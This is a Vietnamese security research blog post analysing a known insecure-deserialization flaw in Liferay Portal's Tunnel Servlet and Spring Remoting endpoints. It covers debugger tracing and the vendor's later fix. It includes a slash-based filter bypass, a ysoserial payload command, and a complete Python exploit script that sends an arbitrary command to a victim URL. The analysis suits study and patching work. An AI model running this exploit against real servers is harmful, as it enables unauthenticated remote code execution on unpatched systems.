Hướng dẫn cài đặt và dựng web liferay 6.2

# Quay về quá khứ với lỗ hổng 1-day 😐 body {text-align: justify} Dưới đây là bài blog phân tích lại lỗ hổng [Insecure Deserialization của Liferay][//www.acunetix.com/vulnerabilities/web/liferay-tunnelservlet-deserialization-remote-code-execution/]. ![][//i.imgur.com/Fun6tl3.png] **Tổng quan:** - **Endpoint `/api/liferay`:** Chức năng `Tunnel Servlet` của Liferay Portal nhận `ObjectInputStream` từ POST data và thực hiện deserialize bằng `readObject[]` ngay sau đó, điều này dẫn đến lỗi insecure deserialization tại đây. Mặc dù theo cấu hình mặc định, chỉ localhost mới truy cập được endpoint `/api/liferay`, tuy nhiên unauthenticated attacker dễ dàng bypass để RCE hoặc DoS bằng serialized payload. - **Endpoint `/api/spring`:** Chức năng `Remoting Servlet` của Liferay Portal [sử dụng Spring framework] dính lỗi insecure deserialization trong quá trình `Dispatcher Servlet` handle POST request. Mặc dù theo cấu hình mặc định, chỉ localhost mới truy cập được endpoint `/api/spring`, tuy nhiên unauthenticated attacker dễ dàng bypass để RCE hoặc DoS bằng serialized payload. **Các phiên bản ảnh hưởng:** - Liferay Portal CE 7.0 GA3, 7.0.1 GA2, 7.0.2 GA3 - Liferay Portal EE 6.0, 6.0 SP1, 6.0 SP2, 6.1 GA1, 6.1 GA2, 6.1 GA3, 6.2 **References:** - //sourceforge.net/projects/lportal/files/Liferay%20Portal/6.1.1%20GA2/ - //testbnull.medium.com/ - //sec.vnpt.vn/2019/01/ahihihihihihihihihihihihi/ - //sec.vnpt.vn/2019/05/liferay-story-part-3/ ### 1. Dựng môi trường test **Môi trường:** - JDK 1.8 - Liferay Portal CE 6.1.1 GA2 **Cách setup remote debug trong Intellj trên Windows:** Tạo remote debug configuration với port `6868`. ![][//i.imgur.com/dwICb1Q.png] Thêm dòng sau vào file `liferay-portal-6.1.1-ce-ga2/tomcat-7.0.27/bin/Catalina.bat`, trong đó `address=6868` chính là listener port của remote debugger. ```shell set CATALINA_OPTS=%CATALINA_OPTS% -Xdebug -Xrunjdwp:transport=dt_socket,address=6868,server=y,suspend=n` ``` Sau đó chạy `liferay-portal-6.1.1-ce-ga2/tomcat-7.0.27/bin/startup.bat` để khởi động ứng dụng Liferay. Ấn `Alt+Shift+F9` hoặc click vào biểu tượng như hình dưới để bắt dầu debug: ![][//i.imgur.com/NKIy57w.png] ### 2. Reproduce lỗi và debug #### 2.1 Endpoint `/api/liferay` **Reproduce:** - Liferay chặn remote POST request đến `/api/liferay`. ![][//i.imgur.com/4K2DXfy.png] - Tuy nhiên, dễ dàng bypass bằng `/api/////liferay`. ![][//i.imgur.com/hHQ2Mcs.png] - RCE bằng CommonsCollections3 gadgetchain payload. Sử dụng syntax sau để tạo payload dạng base64 nhằm RCE trigger `calc.exe`: ```bash D:/>java.exe -jar ysoserial.jar CommonsCollections3 "calc.exe" 2> nul | base64 | sed ":a;N;$!ba;s/\n//g" ``` Gửi request đến `/api/////liferay` kèm theo payload được base64_decode bằng Hackvector. ![][//i.imgur.com/F3jRsFJ.png] Kết quả tiến trình `calc.exe` được trigger thành công. **Debug** Tại `tomcat-7.0.27/webapps/ROOT/WEB-INF/web.xml`, ta biết được các request đến `/api/liferay/*` sẽ được `Tunnel Servlet` xử lí. ![][//i.imgur.com/kcMHkL8.png] Tại hàm `doPost[]` của `Tunnel Servlet` xuất hiện 1 bug deserialization khá to khi nhận user input và thực hiện deserialize ngay sau đó mà không có cơ chế validate. ![][//i.imgur.com/oiwHsoW.png] Tuy nhiên, các đường dẫn `/api/liferay/*` mặc định chỉ được truy cập bởi localhost. Cụ thể, khi truy cập `/api/liferay/*` thì `Tunnel Servlet Filter` được sử dụng. ![][//i.imgur.com/V4xDHaD.png] Nó được định nghĩa tại class `com.liferay.portal.servlet.filters.secure.SecureFilter`. ![][//i.imgur.com/BGI0nmc.png] Hàm `processFilter` là hàm được gọi để thực hiện các quy trình filter. Trong đó có chức năng kiểm tra remote address có nằm trong whitelist các allowed host được access hay không bằng hàm `isAccessAllowed[]`. Nếu không thì sẽ bị trả `403 Access denied` như ở trên. Đặt breakpoint như hình và debug. ![][//i.imgur.com/GK5zODU.png] Ở đây mình truy cập từ remote IP `192.168.114.58` và nó không nằm trong `_hostsAllowed` [chỉ chứa `SERVER_IP` và `127.0.0.1`] → Access denied. ![][//i.imgur.com/YzxQGz6.png] Mặc dù vậy, có 1 cách bypass để không phải trải qua quá trình filter của `SecureFilter`. Cụ thể đó là truy cập bằng path `/api/////liferay` [hoặc với rất nhiều slashes `/` như `/api//////////liferay`]. Khi truy cập `/api/liferay`, xem stack trace, ta thấy bước đầu request sẽ được filter thông qua hàm `doFilter[]` của `InvokerFilter` class. Sau đó các `InvokerFilterChain` về `url-pattern: /api/liferay/*` được lấy để thực hiện filter request qua tất cả filter trên. Có thể thấy với `/api/liferay` thì có đi qua `SecureFilter`. ![][//i.imgur.com/ryqj7cR.png] ![][//i.imgur.com/sqZOAPv.png] > Tuy nhiên, đối với `/api/////liferay` thì không có. ![][//i.imgur.com/LbY2hfx.png] Nguyên nhân chỉ nằm ở chỗ lấy `InvokerFilterChain` thôi. Nó được gọi qua hàm `getInvokerFilterChain[]`. ![][//i.imgur.com/mjb3tpB.png] Tại đó, ứng dụng thực hiện tạo 1 cache key cho uri `/api/////liferay`. Sau đó method sẽ lấy filter chain có trước thông qua `_filterChains` với key là cache key vừa tạo cho uri `/api/////liferay`. Tuy nhiên, vì cache key này chưa tồn tại trong `_filterChains` → `invokerFilterChain == null` → Chương trình nhảy xuống statement tiếp theo, thực hiện gọi hàm `createInvokerFilterChain[]` để tạo filter chain mới cho uri trên. ![][//i.imgur.com/2hgCtnC.png] Vào trong `createInvokerFilterChain[]` xem nó làm gì. Có thể thấy nó sẽ chạy hết list các filter mapping đã được defined và xem uri được truyền vào match với filter nào thông qua hàm `isMatch[]`. ![][//i.imgur.com/KVYvKiD.png] Cụ thể hơn, hàm `isMatch[]` này chạy hết `urlPattern` có trong filter mapping hiện tại và so sánh xem nó khớp với uri truyền vào hay không. Và tất nhiên khi chạy qua filter mapping với filter name `Tunnel Servlet Filter`, uri `/api/////liferay` sẽ không khớp với `/api/liferay/*`. → Uri `/api/////liferay` không đi qua `SecureFilter`. ![][//i.imgur.com/ZnCPlGJ.png] Như vậy ta đã có thể bypass và truy cập `/api/liferay` từ remote IP. Lúc này chỉ việc POST 1 gadgetchain payload [xem phần **Reproduce**] đến `/api/////liferay` vì như đã nói, có 1 lỗ hổng insecure deserialization tại hàm `doPost[]` của `Tunnel Servlet`. ![][//i.imgur.com/oiwHsoW.png] #### 2.2 Endpoint `/api/spring` **Background** > 🐣 "RemotingServlet" là một servlet được sử dụng trong các ứng dụng web để cung cấp giao tiếp từ xa giữa các máy chủ. Nó hỗ trợ nhiều giao thức và công nghệ như HTTP, RMI, Hessian, Burlap, ... > 🐣 File "remoting-servlet.xml" chứa cấu hình cho Spring Remoting Servlet. Nó được sử dụng để cấu hình các bean để xử lý các yêu cầu từ xa thông qua các giao thức như HTTP, RMI, Hessian, Burlap hoặc các giao thức tùy chỉnh. **Reproduce** - Liferay chặn remote request đến `/api/spring`. ![][//i.imgur.com/qIeS7s3.png] - Thử bypass bằng `/api/////spring` thì response trả về 404 → bypass thành công nhưng chưa tìm được đúng endpoint xử lí POST request. ![][//i.imgur.com/M9VKufB.png] - Trong quá trình debug, ta biết được các request sẽ được xử lí nếu truy cập vào `/api/////spring/`. Các bean này được defined trong file `remoting-servlet.xml`. Thử RCE với CC3 payload đối với endpoint chứa bean `/api/////spring/com_liferay_portal_service_spring_UserService-http`, ta mở được tiến trình `calc.exe` thành công. ![][//i.imgur.com/Hnv83l7.png] **Debug** Các request đến `/api/spring/*` sẽ được handle bởi `Remoting Servlet`. ![][//i.imgur.com/jVPgWVu.png] Có thể thấy được, các request đến `/api/spring/*` sẽ được `Remoting Servlet Filter` thực hiện filter. ![][//i.imgur.com/wafm4Ny.png] Cụ thể nó cũng được định nghĩa tại class `com.liferay.portal.servlet.filters.secure.SecureFilter` giống với `Tunnel Servlet Filter` ở trên. ![][//i.imgur.com/4b8ObNM.png] Như vậy cách bypass hoàn toàn tương tự bằng cách truy cập `/api/////spring`. Mặc dù vậy, server trả về `404 Not Found` → không như `/api/liferay`. → Ta cần tìm endpoint chứa `/api////spring` và dính deserialization attack. Như đã nói `Spring Remoting Servlet` cần biết thêm `bean name` [được định nghĩa tại file `remoting-servlet.xml`] để xử lý yêu cầu tương ứng với giao thức và service được định nghĩa tại bean đó. Dưới đây là ví dụ về 1 bean sử dụng giao thức HTTP trong `remoting-servlet.xml`. Cụ thể nó được handle bởi class `org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter`. ![][//i.imgur.com/RlGWjvO.png] Dựa vào bean name trên, kết hợp ý tưởng từ [bài phân tích của anh Jang][//sec.vnpt.vn/2019/05/liferay-story-part-3/], ta POST request đến `/api/////spring/com_liferay_portal_service_spring_UserService-http` và tiếp tục debug. Do các request đến `/api/spring/*` được Remoting Servlet handle nên ta sẽ đặt breakpoint tại dòng 63 của `RemotingServlet.class`. ![][//i.imgur.com/ku89tI2.png] Theo đó, sau khi chương trình dừng ở breakpoint trên, ta thấy rằng nó gọi `super.service[]` → gọi hàm `service[]` của lớp cha, ở đây chính là `DispatcherServlet`. ![][//i.imgur.com/qdQASrO.png] Tiếp tục F7, F8 thì hàm `doService[]` của `DispatcherServlet` được gọi. Tại đó, hàm `doDispatch[]` lúc này được gọi. ![][//i.imgur.com/qU8xIvI.png] Tại hàm `doDispatch[]`, chương trình thực hiện trích xuất handler object cho request `/api////spring/com_liferay_portal_service_spring_UserService-http`. Kết quả trả về chính là `org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter` [như đã định nghĩa trong file `remoting-servlet.xml` ở trên.] ![][//i.imgur.com/XwX5lHp.png] Sau đó, tại dòng 422: ![][//i.imgur.com/uZLTI1q.png] Trong đó, `ha` là một `HttpRequestHandlerAdapter` và `mappedHandler.getHandler[]` chính là `org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter`. Tiếp tục F7 vào, hàm `handleRequest[]` của `org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter` được gọi. ![][//i.imgur.com/Z4IXh0y.png] Trong đó, có gọi hàm `HttpInvokerServiceExporter.readRemoteInvocation[]` nhận input stream từ request [chính là payload mình POST] làm tham số. ![][//i.imgur.com/DnQRRuv.png] Tiếp theo, một `ObjectInputStream ois` được tạo cho input stream nhận từ request để làm tham số cho hàm `HttpInvokerServiceExporter.doReadRemoteInvocation[]`. ![][//i.imgur.com/5V7QhzW.png] Tại đó, đích thị một insecure deserialzation đã diễn ra vì không validate `ois`. ![][//i.imgur.com/5v6GFRW.png] Như vậy hiểu được rằng, endpoint `/api/////spring/com_liferay_portal_service_spring_UserService-http` dính insecure deserialization khi unauthenticated attacker có thể chèn 1 gadgetchain như CC3 vào body request để RCE [đã demo phần **Reproduce**]. Mấu chốt vấn đề nằm ở class `org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter`. ![][//i.imgur.com/bSEw82E.png] Bên cạnh endpoint trên, có thể search trong file `remoting-servlet.xml` được 94 bean khác nhau được handle bởi `org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter` → 94 endpoint khác nhau có thể bị khai thác. ![][//i.imgur.com/nX81zZ0.png] ### 3. Viết mã khai thác Mã khai thác sau đây được dùng cho cả 2 endpoint. ```python import requests import os import base64 import argparse def generate_b64_payload[chain, command]: cmd = os.popen[f'java -jar D:\Tools\Insecure-Deserialization\ysoserial\ysoserial.jar {chain} "{command}" 2> nul| base64 | sed ":a;N;$!ba;s/\\n//g"'] payload = cmd.read[].encode[] cmd.close[] return payload def send_payload[url, endpoint, payload]: if endpoint == "/api/spring": endpoint = "/api/////spring/com_liferay_portal_service_spring_UserService-http" else: endpoint = "/api/////liferay" req = requests.post[str[url]+endpoint, data=base64.b64decode[payload]] if req.status_code == 200 or req.status_code == 500: print["Send payload successfully!!"] if __name__ == "__main__": parser = argparse.ArgumentParser[] parser.add_argument["--url", help="URL of victim [For example: //abc.com]", type=str] parser.add_argument["--endpoint", help="/api/liferay or /api/spring", type=str] parser.add_argument["--chain", help="GadgetChain you wanna use", type=str] parser.add_argument["--cmd", help="Command you wanna execute", type=str] args = parser.parse_args[] payload = generate_b64_payload[args.chain, args.cmd] send_payload[args.url, args.endpoint, payload] ``` Giao diện và các options cần define. ![][//i.imgur.com/oymS6lT.png] Exploit: - Endpoint `/api/liferay`: ![][//i.imgur.com/dTNQXFS.png] - Endpoint `/api/spring`: ![][//i.imgur.com/ztzKBbm.png] ### 4. Cách Liferay fix Tại các phiên bản sau, sau khi lấy URI bằng hàm `getURI[]` tại `InvokerFilter`, ![][//i.imgur.com/Uxuk3Im.png] Liferay thực hiện normalize lại nó bằng hàm `HttpComponentsUtil.normalizePath[]`. ![][//i.imgur.com/iJSyAxM.png] Kể từ đó, việc bypass bằng cách thêm nhiều slashes `/` như ở trên sẽ không còn thành công nữa. Ngoài ra, đối với Tunnel Servlet, Liferay thực hiện chặn những authenticated access, và user input stream đã được khởi tạo bằng class bảo mật hơn `ProtectedClassLoaderObjectInputStream` chứ không phải mỗi `ObjectInputStream` như trước nữa. ![][//i.imgur.com/Bzgq81e.png] ###### tags: `research`, `1-day`, `insecure-deserialization`, `java`, `liferay`

Chủ Đề